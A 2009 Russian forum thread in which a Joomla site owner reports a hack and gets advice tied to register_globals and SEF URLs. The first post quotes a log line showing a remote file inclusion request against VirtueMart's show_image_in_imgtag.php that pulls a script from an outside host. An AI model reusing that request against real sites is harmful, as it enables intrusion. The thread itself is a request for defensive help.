Взломан сайт, имхо через show_image_in_imgtag.php . Что делать?

Discussion in 'Вопросы безопасности' started by brainmen1, Apr 17, 2009.

  1. Offline

    brainmen1 Недавно здесь

    Joined:
    Apr 16, 2009
    Messages:
    3
    Likes Received:
    0
    Доброго времени суток.
    В джумле разбираюсь плохо, поэтому прошу помощи.


    Ситуация:

    Хостер сообщил, что наш сайт взломан. В логах был обнаружен следующий элемент:

    64.118.90.253 - - [16/Apr/2009:07:33:59 +0400] "GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://corystore.com//components/b1ttletX.txt???
    HTTP/1.0" 200 724 "-" "Mozilla/5.0

    Ломают во второй раз. Первый раз 4 дня назад. Я установил обновления джумлы, но это, как видите, не помогло. Папка администратор паролем защищена и по факам я сделал практически все. Но хостер говорит, что это не поможет.

    Что делать? Хостер требует для включения сайта устранить уязвимость. Каким образом ее устранить?
     
    brainmen1, Apr 17, 2009
    #1

  2. Ads Master

     
  3. Offline

    _voland_ Местный => Cпециалист <=

    Joined:
    Apr 12, 2008
    Messages:
    2,171
    Likes Received:
    102
    Gender:
    Male
    Globals в каком положении на хостинге?
    SEF есть?
     
    _voland_, Apr 17, 2009
    #2
  4. Offline

    brainmen1 Недавно здесь

    Joined:
    Apr 16, 2009
    Messages:
    3
    Likes Received:
    0
    SEF не включали. Но если надо, можем включить.
    Globals в каком положении на хостинге? - не совсем понимаю, что ты имеешь ввиду.. из факов я вычитал, что php_value register_globals 0 - могу поставить, но хостер считает, что проблемы не решит.
     
    brainmen1, Apr 17, 2009
    #3
  5. Offline

    _voland_ Местный => Cпециалист <=

    Joined:
    Apr 12, 2008
    Messages:
    2,171
    Likes Received:
    102
    Gender:
    Male
    Для начала..
    http://ru-mambo.ru/content/view/1110/124/
    Сама методика изветсна еще минимум с 2006 года кстати
    и вот - http://ru-mambo.ru/smf/index.php?PH...136d7eeeb781ec6&topic=17157.msg49044#msg49044

    Так что мое подозрение на Register Globals оправдалось

    З.Ы +поставьте sef от греха подальше
     
    Last edited: Apr 17, 2009
    _voland_, Apr 17, 2009
    #4
  6. Offline

    brainmen1 Недавно здесь

    Joined:
    Apr 16, 2009
    Messages:
    3
    Likes Received:
    0
    спасибо огромное. сейчас прочту
     
    brainmen1, Apr 17, 2009
    #5
< Мой сайт взломали? | Как проверить quickstart на безопасность >

Share This Page

Loading...